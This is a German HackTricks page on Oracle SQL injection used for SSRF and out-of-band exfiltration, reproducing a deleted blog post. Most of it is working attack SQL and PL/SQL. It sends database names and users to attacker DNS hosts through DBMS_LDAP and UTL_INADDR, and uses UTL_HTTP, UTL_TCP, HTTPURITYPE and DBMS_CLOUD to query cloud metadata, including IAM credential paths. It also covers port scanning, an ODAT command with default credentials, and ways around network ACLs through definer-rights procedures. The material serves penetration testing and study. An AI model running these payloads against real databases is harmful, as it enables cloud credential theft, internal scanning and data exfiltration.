Oracle-Injection

Reading time: 10 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Serviere diesen Beitrag eine Wayback-Machine-Kopie des gelöschten Beitrags von https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Die Verwendung von Oracle für Out of Band HTTP- und DNS-Anfragen ist gut dokumentiert, aber als Mittel zur Exfiltration von SQL-Daten in Injektionen. Wir können diese Techniken/Funktionen immer anpassen, um andere SSRF/XSPA durchzuführen.

Die Installation von Oracle kann wirklich schmerzhaft sein, insbesondere wenn man eine schnelle Instanz einrichten möchte, um Befehle auszuprobieren. Mein Freund und Kollege bei Appsecco, Abhisek Datta, wies mich auf https://github.com/MaksymBilenko/docker-oracle-12c hin, das es mir ermöglichte, eine Instanz auf einer t2.large AWS Ubuntu-Maschine und Docker einzurichten.

Ich habe den Docker-Befehl mit dem --network="host"-Flag ausgeführt, damit ich Oracle als native Installation mit vollem Netzwerkzugriff nachahmen konnte, für den Verlauf dieses Blogbeitrags.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle-Pakete, die eine URL oder eine Hostname/Portnummer-Spezifikation unterstützen

Um Pakete und Funktionen zu finden, die eine Host- und Port-Spezifikation unterstützen, habe ich eine Google-Suche in der Oracle Database Online Documentation durchgeführt. Genauer gesagt,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Die Suche ergab die folgenden Ergebnisse (nicht alle können für ausgehende Netzwerke verwendet werden)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Diese grobe Suche überspringt offensichtlich Pakete wie DBMS_LDAP (das die Übergabe eines Hostnamens und einer Portnummer ermöglicht), da die Dokumentationsseite einfach auf einen anderen Ort verweist. Daher könnte es andere Oracle-Pakete geben, die missbraucht werden können, um ausgehende Anfragen zu stellen, die ich möglicherweise übersehen habe.

In jedem Fall werfen wir einen Blick auf einige der Pakete, die wir entdeckt und oben aufgelistet haben.

DBMS_LDAP.INIT

Das DBMS_LDAP-Paket ermöglicht den Zugriff auf Daten von LDAP-Servern. Die init()-Funktion initialisiert eine Sitzung mit einem LDAP-Server und nimmt einen Hostnamen und eine Portnummer als Argument.

Diese Funktion wurde zuvor dokumentiert, um die Exfiltration von Daten über DNS zu zeigen, wie unten

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Allerdings, da die Funktion einen Hostnamen und eine Portnummer als Argumente akzeptiert, können Sie dies auch verwenden, um wie ein Portscanner zu arbeiten.

Hier sind einige Beispiele

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Ein ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. zeigt, dass der Port geschlossen ist, während ein Sitzungswert darauf hinweist, dass der Port offen ist.

UTL_SMTP

Das UTL_SMTP-Paket ist zum Versenden von E-Mails über SMTP konzipiert. Das Beispiel auf der Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine E-Mail zu senden. Für uns ist jedoch das Interessante die Möglichkeit, eine Host- und Port-Spezifikation bereitzustellen.

Ein einfaches Beispiel wird unten mit der Funktion UTL_SMTP.OPEN_CONNECTION gezeigt, mit einem Timeout von 2 Sekunden.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Eine ORA-29276: transfer timeout zeigt an, dass der Port offen ist, aber keine SMTP-Verbindung hergestellt wurde, während eine ORA-29278: SMTP transient error: 421 Service not available zeigt, dass der Port geschlossen ist.

UTL_TCP

Das UTL_TCP-Paket und seine Prozeduren und Funktionen ermöglichen TCP/IP-basierte Kommunikation mit Diensten. Wenn es für einen bestimmten Dienst programmiert ist, kann dieses Paket leicht zu einem Zugang zum Netzwerk werden oder vollständige Server Side Requests durchführen, da alle Aspekte einer TCP/IP-Verbindung kontrolliert werden können.

Das Beispiel auf der Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine rohe TCP-Verbindung herzustellen, um eine Webseite abzurufen. Wir können es ein wenig vereinfachen und verwenden, um beispielsweise Anfragen an die Metadateninstanz oder an einen beliebigen TCP/IP-Dienst zu stellen.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interessanterweise kann dieses Paket aufgrund der Möglichkeit, rohe TCP-Anfragen zu erstellen, auch verwendet werden, um den Instanz-Metadatenservice aller Cloud-Anbieter abzufragen, da der Methodentyp und zusätzliche Header alle innerhalb der TCP-Anfrage übergeben werden können.

UTL_HTTP und Webanfragen

Vielleicht die häufigste und am weitesten dokumentierte Technik in jedem Out of Band Oracle SQL Injection Tutorial ist das UTL_HTTP-Paket. Dieses Paket wird in der Dokumentation definiert als - Das UTL_HTTP-Paket führt Hypertext Transfer Protocol (HTTP)-Aufrufe aus SQL und PL/SQL durch. Sie können es verwenden, um über HTTP auf Daten im Internet zuzugreifen.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Sie könnten dies zusätzlich verwenden, um auch einige rudimentäre Port-Scans mit Abfragen wie

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Ein ORA-12541: TNS:no listener oder ein TNS:operation timed out ist ein Zeichen dafür, dass der TCP-Port geschlossen ist, während ein ORA-29263: HTTP protocol error oder Daten ein Zeichen dafür sind, dass der Port offen ist.

Ein weiteres Paket, das ich in der Vergangenheit mit unterschiedlichem Erfolg verwendet habe, ist die GETCLOB()-Methode des HTTPURITYPE Oracle abstrakten Typs, die es Ihnen ermöglicht, mit einer URL zu interagieren und Unterstützung für das HTTP-Protokoll bietet. Die GETCLOB()-Methode wird verwendet, um die GET-Antwort von einer URL als CLOB-Datentyp.

SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;

Zusätzliche Pakete & Techniken (Oracle 19c → 23c)

UTL_INADDR – DNS-basierte Exfiltration und Hostentdeckung

UTL_INADDR bietet einfache Namensauflösungshelfer, die eine ausgehende DNS-Abfrage vom Datenbankhost auslösen. Da nur eine Domain erforderlich ist (kein Port/ACL benötigt), ist es ein zuverlässiges Element für Blind-Exfiltration, wenn andere Netzwerkaufrufe blockiert sind.

sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;

get_host_address() gibt die aufgelöste IP zurück (oder löst ORA-29257 aus, wenn die Auflösung fehlschlägt). Der Angreifer muss nur die eingehende DNS-Anfrage auf der kontrollierten Domain beobachten, um die Codeausführung zu bestätigen.

DBMS_CLOUD.SEND_REQUEST – vollständiger HTTP-Client auf Autonomous/23c

Neuere cloud-zentrierte Editionen (Autonomous Database, 21c/23c, 23ai) werden mit DBMS_CLOUD ausgeliefert. Die Funktion SEND_REQUEST fungiert als allgemeiner HTTP-Client, der benutzerdefinierte Verben, Header, TLS und große Datenmengen unterstützt, was sie weit leistungsfähiger macht als das klassische UTL_HTTP.

sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username        => 'ignored',
password        => 'ignored');
END;
/

DECLARE
resp  DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri             => 'http://169.254.169.254/latest/meta-data/',
method          => 'GET',
timeout         => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/

Weil SEND_REQUEST beliebige Ziel-URIs zulässt, kann es über SQLi missbraucht werden für:

  1. Internes Port-Scanning / SSRF zu Cloud-Metadaten-Diensten.
  2. Out-of-Band-Exfiltration über HTTPS (verwenden Sie Burp Collaborator oder ein ngrok-Tunnel).
  3. Rückrufe zu Angreifer-Servern, selbst wenn ältere Callout-Pakete durch ACLs deaktiviert sind.

ℹ️ Wenn Sie nur ein klassisches On-Prem 19c haben, aber Java gespeicherte Prozeduren erstellen können, können Sie manchmal DBMS_CLOUD aus dem OCI-Client-Bundle installieren — nützlich in einigen Engagements.

Automatisierung der Angriffsfläche mit ODAT

ODAT – Oracle Database Attacking Tool hat mit modernen Versionen Schritt gehalten (getestet bis 19c, 5.1.1 – Apr-2022). Die Module –utl_http, –utl_tcp, –httpuritype und neuer –dbms_cloud erkennen automatisch:

  • Verwendbare Callout-Pakete/ACL-Berechtigungen.
  • Auslösen von DNS- & HTTP-Rückrufen für blinde Extraktion.
  • Generieren von sofort kopierbaren SQL-Payloads für Burp/SQLMap.

Beispiel: schneller OOB-Check mit Standardanmeldeinformationen (kümmert sich im Hintergrund um die ACL-Aufzählung):

bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob

Aktuelle Netzwerk-ACL-Einschränkungen & Umgehungen

Oracle hat die standardmäßigen Netzwerk-ACLs im CPU vom Juli 2023 verschärft — unprivilegierte Konten erhalten jetzt standardmäßig ORA-24247: network access denied by access control list. Zwei Muster erlauben weiterhin Callouts über SQLi:

  1. Das Zielkonto besitzt einen ACL-Eintrag (DBMS_NETWORK_ACL_ADMIN.create_acl), der von einem Entwickler für Integrationen hinzugefügt wurde.
  2. Der Angreifer missbraucht eine hochprivilegierte PL/SQL-Routine mit Definer-Rechten (z. B. in einer benutzerdefinierten Anwendung), die bereits AUTHID DEFINER und die erforderlichen Berechtigungen hat.

Wenn Sie während der Ausnutzung auf ORA-24247 stoßen, suchen Sie immer nach wiederverwendbaren Prozeduren:

sql
SELECT owner, object_name
FROM   dba_objects
WHERE  object_type = 'PROCEDURE'
AND  authid       = 'DEFINER';

(in vielen Audits hatte mindestens ein Reporting-/Exportverfahren die benötigten Rechte).


References

  • Oracle Docs – DBMS_CLOUD.SEND_REQUEST Paketbeschreibung und Beispiele.
  • quentinhardy/odat – Oracle Database Attacking Tool (neueste Version 5.1.1, Apr-2022).

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks